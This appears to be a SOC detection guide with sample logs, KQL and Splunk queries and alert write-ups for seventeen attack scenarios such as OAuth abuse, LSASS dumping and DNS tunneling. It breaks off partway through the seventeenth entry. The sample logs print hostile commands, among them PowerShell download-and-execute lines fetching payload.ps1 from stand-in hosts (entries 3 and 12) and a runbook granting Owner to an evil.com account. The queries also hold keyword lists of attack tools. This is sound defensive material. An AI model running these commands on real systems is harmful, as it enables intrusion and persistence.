SOC 2025 DETECTION PACK: 100 REAL-WORLD USE CASES WITH KQL AND SPLUNK

BY IZZMIER IZZUDDIN

DETECTION PACK ENTRY 1
USE CASE: CLOUD INITIAL ACCESS VIA ABUSED OAUTH TOKEN GRANT
TACTIC: INITIAL ACCESS
TECHNIQUE: T1528 - STEAL OR FORGE AUTHENTICATION CERTIFICATES
ENVIRONMENT: MICROSOFT 365 / AZURE AD

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Azure Active Directory Sign-in Logs + Audit Logs
Log 1 (Consent grant)


```
{
 "TimeGenerated": "2025-06-27T03:41:55Z",
 "UserPrincipalName": "kevin.halim@client-org.com",
 "AppDisplayName": "365 Report Exporter",
 "ConsentType": "AllPrincipals",
 "Scope": "Mail.ReadWrite Files.ReadWrite.All offline_access",
 "ClientAppId": "cbe1a6dc-44d6-4a11-802b-fcd78698a3f3",
 "Activity": "Consent to application",
 "Location": "Russia",
 "DeviceDetail": {
  "OperatingSystem": "Windows",
  "Browser": "Chrome"
 }
}
```


Log 2 (Sign-in using that app)


```
{
 "TimeGenerated": "2025-06-27T03:42:10Z",
 "UserPrincipalName": "kevin.halim@client-org.com",
 "AppDisplayName": "365 Report Exporter",
 "AuthenticationRequirement": "SingleFactorAuthentication",
 "AuthenticationMethodsUsed": "PreviouslyGrantedRefreshToken",
 "IPAddress": "185.104.120.33",
 "Location": "Russia",
 "Result": "Success",
 "TokenType": "RefreshToken"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
AuditLogs
| where ActivityDisplayName == "Consent to application"
| where ConsentType == "AllPrincipals"
| where Scopes has_any ("Mail.ReadWrite", "Files.ReadWrite.All", "offline_access")
| join kind=inner (
   SigninLogs
   | where AuthenticationMethodsUsed has "RefreshToken"
   | where LocationDetails has "Russia" or IPAddress in ("185.104.120.33")
) on UserPrincipalName
| summarize count() by UserPrincipalName, AppDisplayName, Scopes, IPAddress,
Location, TimeGenerated
```

SPLUNK

```
index=azure_auditlogs OR index=azure_signinlogs
| eval suspicious_scope=if(match(Scopes,
"Mail\.ReadWrite|Files\.ReadWrite\.All|offline_access"), 1, 0)
| search suspicious_scope=1
| join type=inner UserPrincipalName [
   search index=azure_signinlogs AuthenticationMethodsUsed="*RefreshToken*"
Location="Russia" OR src_ip="185.104.120.33"
]
| stats count by UserPrincipalName, AppDisplayName, Scopes, src_ip, Location, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Suspicious OAuth Consent & Token Use Detected
Severity: High
Description: A suspicious OAuth application 365 Report Exporter was granted tenant-wide access with high-privilege scopes (Mail.ReadWrite, Files.ReadWrite.All, offline_access). The app was later used to access resources from a non-corporate IP in Russia using a refresh token.
Recommended Action:

- Revoke consent for the application immediately
- Investigate all user activities from kevin.halim@client-org.com
- Perform tenant-wide OAuth application audit
- Initiate IR playbook for unauthorized access

DETECTION PACK ENTRY 2
USE CASE: REMOTE WMI EXECUTION
TACTIC: LATERAL MOVEMENT
TECHNIQUE: T1047 - WINDOWS MANAGEMENT INSTRUMENTATION
ENVIRONMENT: ON-PREM AD / EDR + SYSMON

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Sysmon Event ID 1 (Process Creation)


```
{
 "UtcTime": "2025-06-27T09:18:24Z",
 "HostName": "WORKSTATION-22",
 "Image": "C:\\Windows\\System32\\wbem\\WMIC.exe",
 "CommandLine": "wmic /node:\"192.168.12.45\" process call create \"cmd.exe /c whoami\"",
 "ParentImage": "C:\\Windows\\System32\\cmd.exe",
 "User": "DOMAIN\\attackuser"
}
```


Data Source: DeviceProcessEvents (EDR)


```
{
 "Timestamp": "2025-06-27T09:18:24Z",
 "InitiatingProcessFileName": "cmd.exe",
 "InitiatingProcessCommandLine": "cmd.exe /c wmic /node:\"192.168.12.45\" process call create \"cmd.exe /c whoami\"",
 "DeviceName": "WORKSTATION-22",
 "AccountName": "attackuser",
 "RemoteIP": "192.168.12.45"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
DeviceProcessEvents
| where FileName == "wmic.exe"
| where ProcessCommandLine has "process call create"
| where ProcessCommandLine has_any ("cmd.exe", "powershell.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine
```

SPLUNK

```
index=edr_logs OR index=sysmon
| search CommandLine="*wmic*process call create*"
| eval suspicious=if(like(CommandLine, "%cmd.exe%") OR like(CommandLine,
"%powershell.exe%"), 1, 0)
| search suspicious=1
| stats count by HostName, CommandLine, User, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Remote WMI Execution Detected
Severity: Medium
Description: WMIC was used from WORKSTATION-22 to remotely execute a process on 192.168.12.45. This is commonly used in lateral movement.
Recommended Action:

- Confirm whether this action is part of legitimate administrative tasks
- Review user activity of attackuser
- Check target host (192.168.12.45) for process creation events
- Isolate machine if malicious activity is suspected

DETECTION PACK ENTRY 3
USE CASE: SUSPICIOUS SCHEDULED TASK FOR PERSISTENCE
TACTIC: PERSISTENCE
TECHNIQUE: T1053.005 - SCHEDULED TASK/JOB: SCHEDULED TASK
ENVIRONMENT: WINDOWS ENDPOINT / SYSMON + EDR

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Sysmon Event ID 1 & Event ID 106


```
{
 "UtcTime": "2025-06-28T01:05:18Z",
 "Image": "C:\\Windows\\System32\\schtasks.exe",
 "CommandLine": "schtasks /create /tn \"Updater\" /tr \"powershell -c IEX(New-Object
Net.WebClient).DownloadString('http://malicious.site/payload.ps1')\" /sc minute /mo 30",
 "ParentImage": "C:\\Windows\\System32\\cmd.exe",
 "User": "DOMAIN\\svc-tempuser"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
DeviceProcessEvents
| where FileName == "schtasks.exe"
| where ProcessCommandLine has "schtasks /create"
| where ProcessCommandLine has_any ("powershell", "bitsadmin", "curl", "iex")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
```

SPLUNK

```
index=sysmon OR index=edr_logs
| search CommandLine="*schtasks /create*"
| regex CommandLine=".*(powershell|bitsadmin|curl|iex).*"
| stats count by HostName, CommandLine, User, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Suspicious Scheduled Task Created with PowerShell
Severity: High
Description: A scheduled task was created that runs PowerShell with a remote payload from http://malicious.site/payload.ps1. Likely persistence mechanism.
Recommended Action:

- Investigate user svc-tempuser for privilege abuse
- Identify execution of the downloaded script
- Delete the scheduled task
- Perform full endpoint forensics and isolate if needed

DETECTION PACK ENTRY 4
USE CASE: CREDENTIAL DUMPING VIA SUSPICIOUS LSASS ACCESS
TACTIC: CREDENTIAL ACCESS
TECHNIQUE: T1003.001 - OS CREDENTIAL DUMPING: LSASS MEMORY
ENVIRONMENT: WINDOWS / EDR + SYSMON + DEFENDER FOR ENDPOINT

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Sysmon Event ID 10 (Process Access)


```
{
 "UtcTime": "2025-06-28T03:12:44Z",
 "SourceImage": "C:\\Tools\\procdump64.exe",
 "TargetImage": "C:\\Windows\\System32\\lsass.exe",
 "GrantedAccess": "0x1410",
 "CallTrace": "C:\\Windows\\System32\\ntdll.dll+..."
}
```


Data Source: Defender for Endpoint


```
{
 "Timestamp": "2025-06-28T03:12:45Z",
 "AlertTitle": "Possible Credential Dump via Procdump",
 "DeviceName": "HOST-54",
 "InitiatingProcess": "procdump64.exe",
 "TargetProcess": "lsass.exe",
 "AccountName": "tempadmin",
 "Severity": "High"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
DeviceProcessEvents
| where FileName in~ ("procdump64.exe", "comsvcs.exe", "mimikatz.exe")
| join kind=inner (
   DeviceProcessEvents
   | where FileName == "lsass.exe"
) on DeviceId
| where InitiatingProcessCommandLine has "lsass"
| project Timestamp, DeviceName, InitiatingProcessFileName, AccountName,
ProcessCommandLine
```

SPLUNK

```
index=sysmon OR index=edr_logs
| search TargetImage="*lsass.exe*" SourceImage="*procdump64.exe*"
| stats count by HostName, SourceImage, TargetImage, User, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Suspicious LSASS Access Detected
Severity: High
Description: A tool (procdump64.exe) attempted to access LSASS memory on HOST-54 using tempadmin account. Common tactic for credential dumping.
Recommended Action:

- Confirm whether procdump64.exe was legitimately used
- Investigate all activities of tempadmin
- Initiate memory forensics if credentials were potentially stolen
- Rotate credentials and check for lateral movement

DETECTION PACK ENTRY 5
USE CASE: DATA EXFILTRATION VIA CLOUD STORAGE (GOOGLE DRIVE CLI)
TACTIC: EXFILTRATION
TECHNIQUE: T1567.002 - EXFILTRATION TO CLOUD STORAGE
ENVIRONMENT: WINDOWS / LINUX ENDPOINTS

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Sysmon + Proxy Logs


```
{
 "UtcTime": "2025-06-28T06:41:30Z",
 "Image": "C:\\Tools\\gdrive.exe",
 "CommandLine": "gdrive upload --recursive D:\\ClientFiles\\",
 "User": "DOMAIN\\remoteuser"
}
```


Data Source: Proxy Logs


```
{
 "Timestamp": "2025-06-28T06:41:34Z",
 "Host": "drive.google.com",
 "Method": "POST",
 "Status": 200,
 "BytesSent": 94400212,
 "User": "DOMAIN\\remoteuser"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
DeviceProcessEvents
| where FileName in~ ("gdrive.exe", "rclone.exe")
| where ProcessCommandLine has "upload" or ProcessCommandLine has "--recursive"
| join kind=inner (
   ProxyLogs
   | where URL has "drive.google.com" and Method == "POST"
) on AccountName
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, URL, BytesSent
```

SPLUNK

```
index=proxy_logs OR index=sysmon
| search URL="*drive.google.com*" Method="POST"
| join type=inner User [
  search index=sysmon CommandLine="*gdrive*upload*"
]
| stats sum(BytesSent) as TotalBytesSent by HostName, User, CommandLine, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Data Exfiltration via Google Drive CLI
Severity: High
Description: remoteuser uploaded ~90MB of files using gdrive.exe to Google Drive. This is indicative of possible data theft.
Recommended Action:

- Investigate file directory D:\ClientFiles\ for sensitive data
- Verify purpose of Google Drive usage
- Suspend user account if malicious intent is confirmed
- Perform DLP checks and forensic file recovery

DETECTION PACK ENTRY 6
USE CASE: UNUSUAL PRIVILEGE ESCALATION IN CLOUD (AZURE ROLE ABUSE)
TACTIC: PRIVILEGE ESCALATION
TECHNIQUE: T1078.004 - CLOUD ACCOUNTS
ENVIRONMENT: AZURE / DEFENDER FOR CLOUD

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Azure Activity Logs


```
{
 "TimeGenerated": "2025-06-28T07:23:13Z",
 "Caller": "sabrina.joe@clientorg.com",
 "OperationName": "Add role assignment",
 "RoleDefinitionName": "Owner",
 "TargetResource": "clientorg-subscription-001",
 "IP": "45.144.100.101"
}
```


Data Source: Azure Sign-in Logs


```
{
 "TimeGenerated": "2025-06-28T07:22:58Z",
 "UserPrincipalName": "sabrina.joe@clientorg.com",
 "IPAddress": "45.144.100.101",
 "Result": "Success",
 "AuthenticationRequirement": "SingleFactorAuthentication",
 "Location": "Unknown"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
AzureActivity
| where OperationName == "Add role assignment"
| where RoleDefinitionName == "Owner"
| join kind=inner (
   SigninLogs
   | where AuthenticationRequirement == "SingleFactorAuthentication"
) on Caller == UserPrincipalName
```

| project TimeGenerated, UserPrincipalName, IPAddress, RoleDefinitionName, TargetResource

SPLUNK

```
index=azure_activitylogs
| search OperationName="Add role assignment" RoleDefinitionName="Owner"
| join type=inner UserPrincipalName [
  search index=azure_signinlogs AuthenticationRequirement="SingleFactorAuthentication"
]
| stats count by UserPrincipalName, RoleDefinitionName, TargetResource, IPAddress, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Unusual Azure Role Assignment - Owner Role Granted
Severity: High
Description: sabrina.joe@clientorg.com assigned herself the Owner role in the subscription without MFA, from an unknown location. This can indicate privilege abuse or account compromise.
Recommended Action:

- Revoke role assignment immediately
- Verify legitimacy of the action
- Investigate IP 45.144.100.101 and source system
- Audit all cloud RBAC changes for the last 24 hours

DETECTION PACK ENTRY 7
USE CASE: PHISHING VIA TRUSTED SAAS DOMAIN (GOOGLE FORMS ABUSE)
TACTIC: INITIAL ACCESS
TECHNIQUE: T1566.002 - SPEARPHISHING VIA SERVICE
ENVIRONMENT: EMAIL GATEWAY + PROXY + EDR

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Email Gateway


```
{
 "Timestamp": "2025-06-29T08:14:20Z",
 "Sender": "support@secure-dropbox[.]com",
 "Recipient": "maria.chan@clientorg.com",
 "Subject": "Urgent HR Form to Fill",
 "Attachment": null,
 "URL": "https://docs.google.com/forms/d/e/1FAIpQLSd2PhishingForm",
 "SPF": "pass",
 "DKIM": "pass",
 "DMARC": "pass"
}
```


Data Source: Proxy Logs


```
{
 "Timestamp": "2025-06-29T08:15:01Z",
 "User": "maria.chan@clientorg.com",
 "URL": "https://docs.google.com/forms/d/e/1FAIpQLSd2PhishingForm",
 "Referer": "outlook.office.com",
 "Method": "GET",
 "Status": 200,
 "Category": "Collaboration"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
EmailUrlInfo
| where Url has "forms.google.com" or Url has "docs.google.com/forms"
| join kind=inner (
   EmailEvents
```

```
    | where Subject has "HR" or Subject has "urgent"
) on NetworkMessageId
| join kind=inner (
    ProxyLogs
    | where Url has "google.com/forms"
) on RecipientAddress == User
| project Timestamp, Sender, RecipientAddress, Url, Subject
```

SPLUNK

```
index=email_logs OR index=proxy_logs
| search URL="*google.com/forms*"
| join type=inner Recipient [
  search index=email_logs Subject="*urgent*"
]
| stats count by Recipient, Sender, URL, Subject, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Phishing Attempt via Google Forms
Severity: Medium
Description: A phishing email containing a Google Forms link was delivered and clicked by maria.chan@clientorg.com. Although SPF/DKIM/DMARC passed, the domain is impersonating Dropbox.
Recommended Action:

- Block access to the form link at proxy level
- Notify user and security awareness team
- Scan inbox for similar emails
- Check for credential submission activity

DETECTION PACK ENTRY 8
USE CASE: MFA FATIGUE ATTACK VIA PUSH NOTIFICATION FLOODING
TACTIC: INITIAL ACCESS
TECHNIQUE: T1110.003 - MFA REQUEST GENERATION
ENVIRONMENT: AZURE AD + IDENTITY PROVIDER LOGS

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Identity Protection / Azure Sign-in Logs


```
{
 "User": "junaid.adam@clientorg.com",
 "TimeGenerated": "2025-06-29T13:20:13Z",
 "Result": "Interrupted",
 "AuthenticationRequirement": "MultiFactorAuthentication",
 "FailureReason": "User declined MFA prompt",
 "IPAddress": "179.210.10.21",
 "CountIn5Min": 11
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
SigninLogs
| where ResultType == 500121 or FailureReason has "User declined"
| summarize Count = count() by bin(TimeGenerated, 5m), UserPrincipalName, IPAddress
| where Count >= 10
| project TimeGenerated, UserPrincipalName, IPAddress, Count
```

SPLUNK

```
index=azure_signinlogs
| search FailureReason="*User declined*"
| bucket _time span=5m
| stats count by UserPrincipalName, IPAddress, _time
| where count >= 10
```

ALERT OUTPUT EXAMPLE

Alert Name: MFA Fatigue Attack Attempt
Severity: High
Description: Over 10 MFA prompts were triggered to junaid.adam@clientorg.com in under

5 minutes. This behaviour is consistent with MFA push bombing to force user approval.
Recommended Action:

- Investigate IP 179.210.10.21
- Temporarily lock the user account
- Instruct user to reset credentials
- Enforce number matching or FIDO2-based MFA

DETECTION PACK ENTRY 9
USE CASE: RANSOMWARE FILE ACTIVITY PATTERN
TACTIC: IMPACT
TECHNIQUE: T1486 - DATA ENCRYPTED FOR IMPACT
ENVIRONMENT: EDR + FILE AUDITING + DEFENDER + SYSMON

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: File System + Defender + Sysmon


```
{
 "DeviceName": "FINANCE-PC-07",
 "Timestamp": "2025-06-29T14:51:27Z",
 "User": "finance.admin",
 "EncryptedExtensions": [".FYZK", ".FYZK", ".FYZK"],
 "ProcessName": "runme.exe",
 "FileModCount": 4317,
 "DefenderDetection": "Ransom:Win32/LockBitAuto.G"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
DeviceFileEvents
| where FileName endswith ".FYZK"
| summarize FileModifications = count() by DeviceName, InitiatingProcessFileName,
AccountName, bin(Timestamp, 10m)
| where FileModifications > 1000
| join kind=inner (
   DeviceAlertEvents
   | where Title has "Ransom"
) on DeviceName
```

SPLUNK

```
index=edr_logs OR index=defender_alerts
| search FileName="*.FYZK"
| bucket _time span=10m
| stats count as FileModCount by HostName, User, ProcessName, _time
| where FileModCount > 1000
| join HostName [
 search index=defender_alerts AlertTitle="*Ransom*"
```

]

ALERT OUTPUT EXAMPLE

Alert Name: Mass File Encryption Detected (Likely Ransomware)
Severity: Critical
Description: Over 4300 files with .FYZK extension were created on FINANCE-PC-07 by runme.exe. Defender flagged the process as ransomware-related.
Recommended Action:

- Isolate FINANCE-PC-07 immediately
- Initiate full ransomware response playbook
- Perform backup restoration from clean snapshots
- Preserve memory and disk for forensic investigation

DETECTION PACK ENTRY 10
USE CASE: COMMAND AND CONTROL VIA DNS TUNNELING
TACTIC: COMMAND AND CONTROL
TECHNIQUE: T1071.004 - APPLICATION LAYER PROTOCOL: DNS
ENVIRONMENT: DNS LOGS + FIREWALL + NDR

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: DNS Logs


```
{
 "Timestamp": "2025-06-30T11:02:15Z",
 "QueryName": "dh29ajd7129d1.maliciousdomain.com",
 "QueryType": "TXT",
 "ClientIP": "10.10.24.102",
 "ResponseLength": 380,
 "QueryCountIn1Min": 75
}
```


Data Source: NDR Platform


```
{
 "Timestamp": "2025-06-30T11:02:17Z",
 "SourceIP": "10.10.24.102",
 "Application": "dns",
 "AnomalyType": "High frequency subdomain request",
 "Confidence": "High"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
DnsEvents
| summarize Count = count(), AvgRespSize=avg(ResponseSize) by bin(Timestamp, 1m),
ClientIP, QueryName
| where Count > 50 and AvgRespSize > 300
| where QueryName matches regex @"[a-z0-9]{20,}\.maliciousdomain\.com"
```

SPLUNK

```
index=dns_logs
```

```
| stats count as QueryCount avg(ResponseLength) as AvgRespSize by ClientIP,
QueryName, _time span=1m
| where QueryCount > 50 AND AvgRespSize > 300
| regex QueryName="^[a-z0-9]{20,}\.maliciousdomain\.com$"
```

ALERT OUTPUT EXAMPLE

Alert Name: DNS Tunneling Detected from Client 10.10.24.102
Severity: High
Description: Over 75 high-entropy DNS queries with large TXT responses were made to maliciousdomain.com. Pattern indicates DNS tunneling, likely C2.
Recommended Action:

- Block domain and sinkhole further traffic
- Isolate 10.10.24.102 for forensic analysis
- Inspect memory for in-memory implants or agents
- Correlate with EDR/NDR alerts for lateral movement

DETECTION PACK ENTRY 11
USE CASE: AZURE AUTOMATION ACCOUNT ROLE ABUSE
TACTIC: PRIVILEGE ESCALATION / EXECUTION
TECHNIQUE: T1059.006 - COMMAND AND SCRIPTING INTERPRETER: POWERSHELL
ENVIRONMENT: AZURE ACTIVITY LOGS + AUTOMATION ACCOUNT LOGS

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: AzureActivity

```
{
  "Timestamp": "2025-06-30T15:13:52Z",
  "Caller": "dev.serviceaccount@clientorg.com",
  "OperationName": "Start runbook",
  "RunbookName": "Invoke-MgmtScript",
  "ScriptContent": "Add-AzureRmRoleAssignment -RoleDefinitionName 'Owner' -
PrincipalName 'externaluser@evil.com'",
  "IP": "101.44.88.56"
}
```

DETECTION QUERY

KQL (Microsoft Sentinel)

```
AzureDiagnostics
| where Category == "JobStreams" and RunbookName has "Invoke"
| where ResultDescription has "Add-AzureRmRoleAssignment"
| join kind=inner (
    AzureActivity
    | where OperationName == "Start runbook"
) on CorrelationId
| project Timestamp, Caller, RunbookName, ScriptContent, IPAddress
```

SPLUNK

```
index=azure_automation_logs
| search ScriptContent="*Add-AzureRmRoleAssignment*"
| join CorrelationId [
  search index=azure_activitylogs OperationName="Start runbook"
]
| stats count by Caller, ScriptContent, IP, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Azure Automation Runbook Used for Role Escalation
Severity: Critical
Description: dev.serviceaccount@clientorg.com executed a runbook that assigned Owner privileges to externaluser@evil.com.
Recommended Action:

- Revoke role assignments immediately
- Investigate runbook creation/modification history
- Review all automation accounts and permissions
- Consider monitoring for script anomalies in runbooks

DETECTION PACK ENTRY 12
USE CASE: SUSPICIOUS IN-MEMORY POWERSHELL EXECUTION
TACTIC: EXECUTION
TECHNIQUE: T1059.001 - POWERSHELL
ENVIRONMENT: SYSMON + EDR

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Sysmon Event ID 1


```
{
 "Timestamp": "2025-06-30T17:40:39Z",
 "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
 "CommandLine": "powershell -nop -w hidden -c IEX(New-Object
Net.WebClient).DownloadString('http://94.103.82.88/payload.ps1')",
 "ParentImage": "explorer.exe",
 "User": "temp.operator"
}
```


Data Source: EDR Detection


```
{
 "Timestamp": "2025-06-30T17:40:41Z",
 "Detection": "Suspicious PowerShell Execution - Obfuscated Web Download",
 "Process": "powershell.exe",
 "Device": "OPS-WS-10",
 "User": "temp.operator",
 "Severity": "High"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
DeviceProcessEvents
| where FileName == "powershell.exe"
| where ProcessCommandLine has "DownloadString" or ProcessCommandLine has "IEX"
| where ProcessCommandLine has_any ("-nop", "-w hidden")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
```

SPLUNK

```
index=edr_logs OR index=sysmon
```

```
| search CommandLine="*DownloadString*" OR CommandLine="*IEX*"
| search CommandLine="*-nop*" OR CommandLine="*-w hidden*"
| stats count by HostName, User, CommandLine, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: In-Memory PowerShell Download Execution
Severity: High
Description: PowerShell was executed with flags -nop -w hidden and invoked a remote script from http://94.103.82.88/payload.ps1. Typical of fileless malware behaviour.
Recommended Action:

- Isolate host OPS-WS-10
- Block outbound traffic to 94.103.82.88
- Investigate process ancestry and user session
- Perform memory analysis and scan for persistent access

DETECTION PACK ENTRY 13
USE CASE: VPN SESSION HIJACK VIA STOLEN COOKIE
TACTIC: INITIAL ACCESS / DEFENSE EVASION
TECHNIQUE: T1539 - STEAL WEB SESSION COOKIE
ENVIRONMENT: VPN + IDENTITY PROVIDER + NDR

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: VPN Logs + IdP Session Data


```
{
 "Timestamp": "2025-07-01T02:45:23Z",
 "User": "shira.jalil@clientorg.com",
 "LoginMethod": "Session Cookie",
 "Result": "Success",
 "Device": "Unknown",
 "Location": "Germany",
 "SessionID": "s_k9Ltrt23904jdg",
 "IP": "87.220.45.191"
}
```


Data Source: Baseline Geo-Behavioral UEBA


```
{
 "User": "shira.jalil@clientorg.com",
 "PreviousSuccessfulLoginGeo": "Malaysia",
 "NewLoginGeo": "Germany",
 "TimeDifference": "2 minutes",
 "AnomalyScore": "High"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
SigninLogs
| where AuthenticationRequirement == "SingleFactorAuthentication" and Status has
"Success"
| extend GeoDiff = geo_distance(LocationDetails, "Malaysia") // simulate geolocation diff
| where GeoDiff > 7000
| summarize Attempts = count() by UserPrincipalName, IPAddress, LocationDetails,
Timestamp
```

SPLUNK

```
index=vpn_logs OR index=identity_provider
| search LoginMethod="Session Cookie" Result="Success"
| lookup known_user_logins.csv user AS User OUTPUT location AS KnownLocation
| where Location != KnownLocation
| stats count by User, IP, Location, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Possible VPN Session Hijack Detected
Severity: High
Description: User shira.jalil@clientorg.com accessed VPN via session cookie from Germany just 2 minutes after a login from Malaysia. Indicates possible cookie theft.
Recommended Action:

- Force logout all sessions for the user
- Invalidate session cookies and reset credentials
- Notify the user and IR team
- Investigate session hijack vector (e.g., MITM, info-stealer malware)

DETECTION PACK ENTRY 14
USE CASE: USB-BASED DATA EXFILTRATION TO REMOVABLE DRIVE
TACTIC: EXFILTRATION
TECHNIQUE: T1052.001 - EXFILTRATION OVER PHYSICAL MEDIUM
ENVIRONMENT: SYSMON + DLP + EDR

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Sysmon + USB Auditing Logs


```
{
 "Timestamp": "2025-07-01T09:12:04Z",
 "DeviceName": "FIN-WS-08",
 "User": "nur.hana@clientorg.com",
 "FilePath": "D:\\Sensitive\\Q2-Financials.xlsx",
 "Destination": "E:\\USBStorage\\",
 "VolumeSerialNumber": "72C8-19A1",
 "TransferSizeMB": 146
}
```


Data Source: DLP Logs


```
{
 "PolicyName": "FinanceDataExfil",
 "MatchRule": "File Type: Excel; Destination: USB",
 "User": "nur.hana@clientorg.com",
 "Result": "Blocked",
 "Device": "FIN-WS-08"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
DeviceFileEvents
| where FilePath endswith ".xlsx" or FilePath endswith ".xls"
| where FolderPath contains "USB" or FolderPath contains "E:\\"
| where FileSize > 100000000
| project Timestamp, DeviceName, AccountName, FileName, FolderPath, FileSize
```

SPLUNK

```
index=sysmon OR index=dlp_logs
```

```
| search FilePath="*\\Sensitive\\*.xlsx" AND Destination="*USB*"
| stats sum(FileSize) as TotalMB by HostName, User, Destination, _time
| where TotalMB > 100
```

ALERT OUTPUT EXAMPLE

Alert Name: Attempted Data Exfiltration to USB Drive
Severity: High
Description: nur.hana@clientorg.com attempted to copy sensitive financial files (146MB) to a USB drive on FIN-WS-08. DLP policy blocked the action.
Recommended Action:

- Review DLP logs for repeated attempts
- Interview user to determine intent
- Lock USB access on the device
- Perform audit of all USB write events for user over past 7 days

DETECTION PACK ENTRY 15
USE CASE: EXCESSIVE DOWNLOAD BY INSIDER
TACTIC: COLLECTION
TECHNIQUE: T1119 - AUTOMATED COLLECTION
ENVIRONMENT: WEB PROXY + UEBA + FILE SERVER LOGS

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: File Access Logs + Proxy Logs


```
{
 "Timestamp": "2025-07-01T15:37:20Z",
 "User": "raymond.yap@clientorg.com",
 "DownloadedFiles": 512,
 "DataVolume": "2.6 GB",
 "Category": "Internal Portal - Confluence",
 "Device": "HR-WS-05"
}
```


UEBA Output:


```
{
 "BehaviorType": "Unusual Volume of Downloads",
 "AnomalyScore": "Critical",
 "PeerAvg": "30 files/day",
 "Current": "512 files",
 "Deviation": "17x normal behaviour"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
ProxyLogs
| where Url has "confluence" or Url has "sharepoint"
| summarize FileDownloads = count(), TotalVolume = sum(BytesReceived) by
bin(Timestamp, 1h), User
| where FileDownloads > 100 or TotalVolume > 1000000000
```

SPLUNK

```
index=proxy_logs
| search URL="*confluence*" OR URL="*sharepoint*"
```

```
| bucket _time span=1h
| stats count as Downloads sum(BytesReceived) as Volume by User, _time
| where Downloads > 100 OR Volume > 1000000000
```

ALERT OUTPUT EXAMPLE

Alert Name: Excessive Data Download by Insider
Severity: Medium to High (Context Dependent)
Description: raymond.yap@clientorg.com downloaded 512 files (2.6GB) from the internal Confluence system in one session. This is 17x his normal baseline.
Recommended Action:

- Verify business justification for download
- Escalate to HR if no legitimate reason found
- Correlate with external access logs (e.g., USB, email, cloud upload)
- Consider temporary restriction or full monitoring

DETECTION PACK ENTRY 16
USE CASE: ABUSE OF LEGACY AUTHENTICATION PROTOCOLS (SMTP/POP3)
TACTIC: DEFENSE EVASION
TECHNIQUE: T1110.002 - PASSWORD SPRAYING
ENVIRONMENT: IDENTITY PROVIDER LOGS + NETWORK PERIMETER

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Azure AD Sign-in Logs


```
{
 "Timestamp": "2025-07-01T20:12:11Z",
 "UserPrincipalName": "many.users@clientorg.com",
 "ClientAppUsed": "Other clients (IMAP/POP/SMTP)",
 "Result": "Failure",
 "FailureReason": "Invalid username or password",
 "Protocol": "SMTP",
 "IPAddress": "201.45.80.90",
 "AttemptCountIn1Min": 160
}
```


Data Source: Firewall Logs


```
{
 "SourceIP": "201.45.80.90",
 "DestinationPort": 587,
 "Protocol": "SMTP",
 "Attempts": 160,
 "Blocked": false
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
SigninLogs
| where ClientAppUsed in ("Other clients", "IMAP", "POP", "SMTP")
| where ResultType == 50126 or FailureReason has "Invalid username or password"
| summarize Attempts = count() by bin(Timestamp, 1m), IPAddress, Protocol
| where Attempts > 100
```

SPLUNK

```
index=azure_signinlogs
| search ClientAppUsed="SMTP" Result="Failure"
| bucket _time span=1m
| stats count by IPAddress, Protocol, _time
| where count > 100
```

ALERT OUTPUT EXAMPLE

Alert Name: Legacy Authentication Password Spray
Severity: High
Description: 160 failed SMTP authentication attempts detected from 201.45.80.90. Legacy auth still enabled; password spray likely in progress.
Recommended Action:

- Block source IP and disable legacy auth (POP/IMAP/SMTP)
- Enforce modern authentication (OAuth2/MFA)
- Monitor for any successful login attempts from same IP
- Check audit logs for lateral movement or mail rule abuse

DETECTION PACK ENTRY 17
USE CASE: ROGUE APP AUTHORIZATION IN GOOGLE WORKSPACE
TACTIC: INITIAL ACCESS
TECHNIQUE: T1528 - ABUSE OF TRUSTED THIRD-PARTY APPLICATIONS
ENVIRONMENT: GOOGLE WORKSPACE ADMIN LOGS + OAUTH CONSENT LOGS

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: OAuth Token Grant Logs


```
{
